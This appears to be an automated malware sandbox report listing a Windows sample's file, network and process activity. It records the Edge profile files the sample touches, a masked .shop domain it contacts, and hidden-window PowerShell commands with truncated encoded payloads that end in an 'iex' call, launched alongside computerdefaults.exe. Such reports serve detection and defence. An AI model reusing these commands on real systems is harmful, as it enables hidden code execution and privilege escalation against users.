Technical Information
Malicious functions
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\winver.exe
- <SYSTEM32>\computerdefaults.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69ffdc90-fe8.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69ffdc93-13b0.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\heavy_ad_intervention_opt_out.db-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\heavy_ad_intervention_opt_out.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\previews_opt_out.db-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\previews_opt_out.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor
- %LOCALAPPDATA%\microsoft\edge\user data\last browser
- %LOCALAPPDATA%\microsoft\edge\user data\default\preferredapps
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\functional data-wal
- %LOCALAPPDATA%\microsoft\edge\user data\functional san data-wal
- %TEMP%\5040_243028562\manifest.json
- %TEMP%\5040_243028562\license.txt
- %TEMP%\5040_243028562\filtering rules
- %TEMP%\5040_243028562\_metadata\verified_contents.json
- %TEMP%\5040_243028562\manifest.fingerprint
- %LOCALAPPDATA%\microsoft\edge\user data\subresource filter\indexed rules\27\9.33.0\indexing in progress
- %LOCALAPPDATA%\microsoft\edge\user data\subresource filter\indexed rules\27\scoped_dir5040_687231618\ruleset data
Deletes following files that it created itself
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69ffdc90-fe8.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69ffdc93-13b0.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000001
- %TEMP%\edge_bits_5040_1704393395\dde93974-5cbc-4ecc-898f-436e62207c34
- %LOCALAPPDATA%\microsoft\edge\user data\subresource filter\indexed rules\27\9.33.0\indexing in progress
- %TEMP%\edge_bits_5040_1388864013\0c17d4e3-9d9d-44b6-9280-2b041bbaf3d9
Moves the following files
- from %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\current
Modifies the following files
- %LOCALAPPDATA%\microsoft\edge\user data\last version
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\site characteristics database\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\favicons-journal
- %LOCALAPPDATA%\microsoft\tokenbroker\cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres
- %LOCALAPPDATA%\microsoft\edge\user data\default\favicons
- %TEMP%\.ses
- %LOCALAPPDATA%\microsoft\edge\user data\default\history-journal
Substitutes the following files
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG
Network activity
Connects to
- 'bi###gus.shop':443
- 'x1.#.lencr.org':80
- 'co####.edge.skype.com':443
- 'google.com':443
TCP
HTTP GET requests
- http://x1.#.lencr.org/
Other
- 'bi###gus.shop':443
- 'co####.edge.skype.com':443
- 'google.com':443
UDP
- DNS ASK bi###gus.shop
- DNS ASK x1.#.lencr.org
- DNS ASK co####.edge.skype.com
- DNS ASK google.com
Miscellaneous
Searches for the following windows
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Microsoft\Edge\User Data'
Executes the following
- '<SYSTEM32>\winver.exe'
- '<SYSTEM32>\cmd.exe' /c powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0ACAAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AZwBvAD8AdQByAGwAPQBwAGQAZgAnADsACgBpAGUAeAAoAFsA...
- '<SYSTEM32>\computerdefaults.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0ACAAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AZwBvAD8AdQByAGwAPQBwAGQAZgAnADsACgBpAGUAeAAoAFsAUwB5AHMAdABlAG0ALg...
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --single-argument https://www.google.com/go?url=pdf
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate https://www.google.com/go?url=pdf
- '%ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\identity_helper.exe' --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1836,9937185741146911052,12318551038270626554,131072 --lang=en-US --service-sandbox-type=none --mojo-...
- '<SYSTEM32>\winver.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0ACAAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AZwBvAD8AdQByAGwAPQBwAGQAZgAnADsACgBpAGUAeAAoAFsA...' (with hidden window)
- '<SYSTEM32>\computerdefaults.exe' ' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate https://www.google.com/go?url=pdf' (with hidden window)
